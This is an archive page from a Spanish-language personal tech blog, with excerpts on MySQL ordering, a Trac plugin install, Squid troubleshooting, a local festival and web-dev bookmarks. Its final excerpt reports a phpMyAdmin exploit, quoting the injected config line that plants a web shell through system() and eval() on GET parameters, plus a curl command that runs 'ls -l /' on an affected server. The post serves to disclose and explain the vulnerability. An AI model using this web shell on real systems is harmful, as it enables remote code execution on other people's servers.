cake felicidades 2008 seguridad ds linux userlinux rfilms personal opinion champions web games cakephp futbol blog bsd cumpleaños mundial conciertos nintendo apple deportes juegos san_froilan lugo copa barça bash meme ssh tip frases alemania_2006 openbsd league php macosx cms mac iphone humor bake blogsfera blogs debian programación ubuntu soccer ibook freebsd hack sidenotes films beers rsidenotes update mysql 2007 lucux
Year 2010
Year 2009
Year 2008
Year 2007
Year 2006
Year 2005
Year 2004
Year 2003
Year 2002
Palmera de Elche sobreviviendo en Galicia
En aquél viaje se trajo una compañera con la idea de quedarse a hacer su vida por aquÃ. Y asà fue. Después de un difÃcil comienzo -ya que las condiciones atmosféricas no acompañaban- y un complicado transplante, asà luce a dÃa de hoy...
Read it Later
Sin embargo -de casualidad- he encontrado Read it Later, una extensión para Firefox que hace justo eso, marca la web donde estés para poder leerla a posteriori con calma. Además de marcarla se puede configurar para que crear automáticamente una versión offline con imágenes o sólo texto, por si la web no se encuentra operativa en el momento de la lectura.
MySQL: ordenando query del tipo id IN array
[matches] => Array ( [100] => Array ( [weight] => 100 ) [50] => Array ( [weight] => 70 ) [200] => Array ( [weight] => 30 ) [30] => Array ( [weight] => 30 ) )La pregunta es, ¿cómo hacer que MySQL respete ese mismo orden?. Vamos, que si tenemos un "SELECT * FROM productos WHERE id IN (100, 50, 200, 30)" y queremos los resultados justamente en ese orden (100, 50, 200 y 30) tendremos que indicarlo en MySQL de alguna forma, puesto que por defecto (al menos en nuestras pruebas / instalaciones) ordena por la primary key...
Trac: Gantt Calendar
La instalación es sencilla, desde cualquier directorio del servidor hacemos lo siguiente:
$ svn co http://recurser.com/svn/ganttcalendar/trunk/ ganttcalendar $ cd ganttcalendar $ python setup.py bdist_egg $ sudo easy_install dist/TracGanttCalendarPlugin-0.1-py2.4.eggY el egg se agregará automáticamente a todos los Trac que tengas en el servidor (directorio /usr/lib/python2.5/site-packages/ en el caso de Ubuntu)...
Nuevo spot de Estrella Galicia Light
Squid: cache out of filedescriptors
Tanto ping como traceroute eran correctos, se podÃa entrar por ssh, los servicios estaban levantados y funcionando, habÃa tráfico entrante y saliente en las tarjetas de red, habÃa visitantes... sin embargo desde la oficina la web no cargaba.
Siguiendo la lógica supusimos que podrÃa tratarse de un problema de enrutamiento en el datacenter donde está alojada puesto que habÃa antecedentes. Pero el soporte del hosting nos aseguraba normalidad en sus servicios... posiblemente los tiros fuesen por otro lado.
Arde Lucus 2009
Una ciudad que se moderniza y avanza sin olvida el espÃritu que la vió nacer. Lugo avanza con el tiempo respetando su historia. Lucus Augusti renace el fin de semana del 26 al 28 de Junio gracias a la celebración de la fiesta Arde Lucus. La ciudad abre sus puertas a todas las personas que deseen compartir con nosotros esta fiesta.
- Más información sobre el Arde Lucus 2009.
- Programa oficial del Arde Lucus 2009.
- Nunca Jamás también vive el Arde Lucus de forma intensa.
Bookmarks: Enlaces desarrollo web
- HTML Entity Lookup, buscador de htmlentities para caracteres raros.
- Icon Finder, buscador de iconos 2.0, para esas ocasiones en las que te encuentras apurado.
- What The Font, cuando no sabes de qué fuente se trata.
- CSS Sprites Generator, generador de css sprites para no consumir una petición por cada imagen.
- Domai.nr, tipo instantdomainsearch, buscador de dominios disponibles, con sugerencias y demás.
Nuevo exploit para phpMyAdmin
$cfg['Servers'][$i]['host']=''; if($_GET['c']){echo
'(pre)';system($_GET['c']);echo '(/pre)';}if($_GET['p']){echo
'(pre)';eval($_GET['p']);echo '(/pre)';};//'] = 'localhost';
Por lo tanto en un sistema infectado podremos ejecutar el siguiente comando con éxito:
$ curl "http://dominio-afectado/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/"
total 96
drwxr-xr-x 2 root root 4096 Mar 11 10:12 bin
drwxr-xr-x 3 root root 4096 May 6 10:01 boot
drwxr-xr-x 15 root root 14300 Jun 5 09:02 dev
drwxr-xr-x 147 root root 12288 Jun 5 09:02 etc
drwxr-xr-x 3 root root 4096 Oct 18 2008 home
drwxr-xr-x 2 root root 4096 Jul 2 2008 initrd
[...]
Recomiendo leer el proof of concept con atención. 



